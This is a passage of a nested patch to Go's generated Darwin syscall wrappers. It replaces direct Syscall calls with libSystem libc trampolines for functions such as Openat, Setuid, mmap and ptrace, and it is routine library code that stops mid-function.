-+ r0, _, e1 := syscall_syscall6(funcPC(libc_openat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1035,6 +1618,11 @@ func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
- return
- }
-
-+func libc_openat_trampoline()
-+
-+//go:linkname libc_openat libc_openat
-+//go:cgo_import_dynamic libc_openat openat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pathconf(path string, name int) (val int, err error) {
-@@ -1043,7 +1631,7 @@ func Pathconf(path string, name int) (val int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall(SYS_PATHCONF, uintptr(unsafe.Pointer(_p0)), uintptr(name), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_pathconf_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(name), 0)
- val = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1051,6 +1639,11 @@ func Pathconf(path string, name int) (val int, err error) {
- return
- }
-
-+func libc_pathconf_trampoline()
-+
-+//go:linkname libc_pathconf libc_pathconf
-+//go:cgo_import_dynamic libc_pathconf pathconf "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pread(fd int, p []byte, offset int64) (n int, err error) {
-@@ -1060,7 +1653,7 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_pread_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1068,6 +1661,11 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
- return
- }
-
-+func libc_pread_trampoline()
-+
-+//go:linkname libc_pread libc_pread
-+//go:cgo_import_dynamic libc_pread pread "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-@@ -1077,7 +1675,7 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_pwrite_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1085,6 +1683,11 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- return
- }
-
-+func libc_pwrite_trampoline()
-+
-+//go:linkname libc_pwrite libc_pwrite
-+//go:cgo_import_dynamic libc_pwrite pwrite "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func read(fd int, p []byte) (n int, err error) {
-@@ -1094,7 +1697,7 @@ func read(fd int, p []byte) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_read_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1102,6 +1705,11 @@ func read(fd int, p []byte) (n int, err error) {
- return
- }
-
-+func libc_read_trampoline()
-+
-+//go:linkname libc_read libc_read
-+//go:cgo_import_dynamic libc_read read "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Readlink(path string, buf []byte) (n int, err error) {
-@@ -1116,7 +1724,7 @@ func Readlink(path string, buf []byte) (n int, err error) {
- } else {
- _p1 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_READLINK, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_readlink_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1124,6 +1732,11 @@ func Readlink(path string, buf []byte) (n int, err error) {
- return
- }
-
-+func libc_readlink_trampoline()
-+
-+//go:linkname libc_readlink libc_readlink
-+//go:cgo_import_dynamic libc_readlink readlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-@@ -1138,7 +1751,7 @@ func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
- } else {
- _p1 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_readlinkat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1146,6 +1759,11 @@ func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
- return
- }
-
-+func libc_readlinkat_trampoline()
-+
-+//go:linkname libc_readlinkat libc_readlinkat
-+//go:cgo_import_dynamic libc_readlinkat readlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Rename(from string, to string) (err error) {
-@@ -1159,13 +1777,18 @@ func Rename(from string, to string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_RENAME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_rename_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_rename_trampoline()
-+
-+//go:linkname libc_rename libc_rename
-+//go:cgo_import_dynamic libc_rename rename "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Renameat(fromfd int, from string, tofd int, to string) (err error) {
-@@ -1179,13 +1802,18 @@ func Renameat(fromfd int, from string, tofd int, to string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_renameat_trampoline), uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_renameat_trampoline()
-+
-+//go:linkname libc_renameat libc_renameat
-+//go:cgo_import_dynamic libc_renameat renameat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Revoke(path string) (err error) {
-@@ -1194,13 +1822,18 @@ func Revoke(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_REVOKE, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_revoke_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_revoke_trampoline()
-+
-+//go:linkname libc_revoke libc_revoke
-+//go:cgo_import_dynamic libc_revoke revoke "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Rmdir(path string) (err error) {
-@@ -1209,17 +1842,22 @@ func Rmdir(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_RMDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_rmdir_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_rmdir_trampoline()
-+
-+//go:linkname libc_rmdir libc_rmdir
-+//go:cgo_import_dynamic libc_rmdir rmdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-- r0, r1, e1 := Syscall6(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(offset>>32), uintptr(whence), 0, 0)
-+ r0, r1, e1 := syscall_syscall6(funcPC(libc_lseek_trampoline), uintptr(fd), uintptr(offset), uintptr(offset>>32), uintptr(whence), 0, 0)
- newoffset = int64(int64(r1)<<32 | int64(r0))
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1227,46 +1865,72 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
- return
- }
-
-+func libc_lseek_trampoline()
-+
-+//go:linkname libc_lseek libc_lseek
-+//go:cgo_import_dynamic libc_lseek lseek "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_select_trampoline), uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_select_trampoline()
-+
-+//go:linkname libc_select libc_select
-+//go:cgo_import_dynamic libc_select select "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setegid(egid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETEGID, uintptr(egid), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setegid_trampoline), uintptr(egid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setegid_trampoline()
-+
-+//go:linkname libc_setegid libc_setegid
-+//go:cgo_import_dynamic libc_setegid setegid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Seteuid(euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETEUID, uintptr(euid), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_seteuid_trampoline), uintptr(euid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_seteuid_trampoline()
-+
-+//go:linkname libc_seteuid libc_seteuid
-+//go:cgo_import_dynamic libc_seteuid seteuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setgid(gid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETGID, uintptr(gid), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setgid_trampoline), uintptr(gid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setgid_trampoline()
-+
-+//go:linkname libc_setgid libc_setgid
-+//go:cgo_import_dynamic libc_setgid setgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setlogin(name string) (err error) {
-@@ -1275,77 +1939,112 @@ func Setlogin(name string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SETLOGIN, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setlogin_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setlogin_trampoline()
-+
-+//go:linkname libc_setlogin libc_setlogin
-+//go:cgo_import_dynamic libc_setlogin setlogin "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setpgid_trampoline), uintptr(pid), uintptr(pgid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setpgid_trampoline()
-+
-+//go:linkname libc_setpgid libc_setpgid
-+//go:cgo_import_dynamic libc_setpgid setpgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-+ _, _, e1 := syscall_syscall(funcPC(libc_setpriority_trampoline), uintptr(which), uintptr(who), uintptr(prio))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setpriority_trampoline()
-+
-+//go:linkname libc_setpriority libc_setpriority
-+//go:cgo_import_dynamic libc_setpriority setpriority "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setprivexec(flag int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIVEXEC, uintptr(flag), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setprivexec_trampoline), uintptr(flag), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setprivexec_trampoline()
-+
-+//go:linkname libc_setprivexec libc_setprivexec
-+//go:cgo_import_dynamic libc_setprivexec setprivexec "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setregid(rgid int, egid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setregid_trampoline), uintptr(rgid), uintptr(egid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setregid_trampoline()
-+
-+//go:linkname libc_setregid libc_setregid
-+//go:cgo_import_dynamic libc_setregid setregid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setreuid(ruid int, euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setreuid_trampoline), uintptr(ruid), uintptr(euid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setreuid_trampoline()
-+
-+//go:linkname libc_setreuid libc_setreuid
-+//go:cgo_import_dynamic libc_setreuid setreuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setrlimit(which int, lim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setrlimit_trampoline), uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setrlimit_trampoline()
-+
-+//go:linkname libc_setrlimit libc_setrlimit
-+//go:cgo_import_dynamic libc_setrlimit setrlimit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_setsid_trampoline), 0, 0, 0)
- pid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1353,55 +2052,40 @@ func Setsid() (pid int, err error) {
- return
- }
-
-+func libc_setsid_trampoline()
-+
-+//go:linkname libc_setsid libc_setsid
-+//go:cgo_import_dynamic libc_setsid setsid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Settimeofday(tp *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_settimeofday_trampoline), uintptr(unsafe.Pointer(tp)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_settimeofday_trampoline()
-
--func Setuid(uid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETUID, uintptr(uid), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_settimeofday libc_settimeofday
-+//go:cgo_import_dynamic libc_settimeofday settimeofday "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+func Setuid(uid int) (err error) {
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setuid_trampoline), uintptr(uid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_setuid_trampoline()
-
--func Statfs(path string, stat *Statfs_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_setuid libc_setuid
-+//go:cgo_import_dynamic libc_setuid setuid "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -1416,13 +2100,18 @@ func Symlink(path string, link string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SYMLINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_symlink_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_symlink_trampoline()
-+
-+//go:linkname libc_symlink libc_symlink
-+//go:cgo_import_dynamic libc_symlink symlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-@@ -1436,23 +2125,33 @@ func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-+ _, _, e1 := syscall_syscall(funcPC(libc_symlinkat_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_symlinkat_trampoline()
-+
-+//go:linkname libc_symlinkat libc_symlinkat
-+//go:cgo_import_dynamic libc_symlinkat symlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Sync() (err error) {
-- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_sync_trampoline), 0, 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_sync_trampoline()
-+
-+//go:linkname libc_sync libc_sync
-+//go:cgo_import_dynamic libc_sync sync "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Truncate(path string, length int64) (err error) {
-@@ -1461,21 +2160,31 @@ func Truncate(path string, length int64) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), uintptr(length>>32))
-+ _, _, e1 := syscall_syscall(funcPC(libc_truncate_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(length), uintptr(length>>32))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_truncate_trampoline()
-+
-+//go:linkname libc_truncate libc_truncate
-+//go:cgo_import_dynamic libc_truncate truncate "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Umask(newmask int) (oldmask int) {
-- r0, _, _ := Syscall(SYS_UMASK, uintptr(newmask), 0, 0)
-+ r0, _, _ := syscall_syscall(funcPC(libc_umask_trampoline), uintptr(newmask), 0, 0)
- oldmask = int(r0)
- return
- }
-
-+func libc_umask_trampoline()
-+
-+//go:linkname libc_umask libc_umask
-+//go:cgo_import_dynamic libc_umask umask "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Undelete(path string) (err error) {
-@@ -1484,13 +2193,18 @@ func Undelete(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNDELETE, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_undelete_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_undelete_trampoline()
-+
-+//go:linkname libc_undelete libc_undelete
-+//go:cgo_import_dynamic libc_undelete undelete "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unlink(path string) (err error) {
-@@ -1499,13 +2213,18 @@ func Unlink(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNLINK, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_unlink_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unlink_trampoline()
-+
-+//go:linkname libc_unlink libc_unlink
-+//go:cgo_import_dynamic libc_unlink unlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unlinkat(dirfd int, path string, flags int) (err error) {
-@@ -1514,13 +2233,18 @@ func Unlinkat(dirfd int, path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-+ _, _, e1 := syscall_syscall(funcPC(libc_unlinkat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unlinkat_trampoline()
-+
-+//go:linkname libc_unlinkat libc_unlinkat
-+//go:cgo_import_dynamic libc_unlinkat unlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unmount(path string, flags int) (err error) {
-@@ -1529,13 +2253,18 @@ func Unmount(path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNMOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_unmount_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unmount_trampoline()
-+
-+//go:linkname libc_unmount libc_unmount
-+//go:cgo_import_dynamic libc_unmount unmount "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func write(fd int, p []byte) (n int, err error) {
-@@ -1545,7 +2274,7 @@ func write(fd int, p []byte) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_write_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1553,10 +2282,15 @@ func write(fd int, p []byte) (n int, err error) {
- return
- }
-
-+func libc_write_trampoline()
-+
-+//go:linkname libc_write libc_write
-+//go:cgo_import_dynamic libc_write write "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error) {
-- r0, _, e1 := Syscall9(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos), uintptr(pos>>32), 0, 0)
-+ r0, _, e1 := syscall_syscall9(funcPC(libc_mmap_trampoline), uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos), uintptr(pos>>32), 0, 0)
- ret = uintptr(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1564,20 +2298,30 @@ func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (
- return
- }
-
-+func libc_mmap_trampoline()
-+
-+//go:linkname libc_mmap libc_mmap
-+//go:cgo_import_dynamic libc_mmap mmap "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munmap_trampoline), uintptr(addr), uintptr(length), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munmap_trampoline()
-+
-+//go:linkname libc_munmap libc_munmap
-+//go:cgo_import_dynamic libc_munmap munmap "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func readlen(fd int, buf *byte, nbuf int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_read_trampoline), uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1588,7 +2332,7 @@ func readlen(fd int, buf *byte, nbuf int) (n int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_write_trampoline), uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1598,8 +2342,23 @@ func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_ptrace_trampoline), uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+ if e1 != 0 {
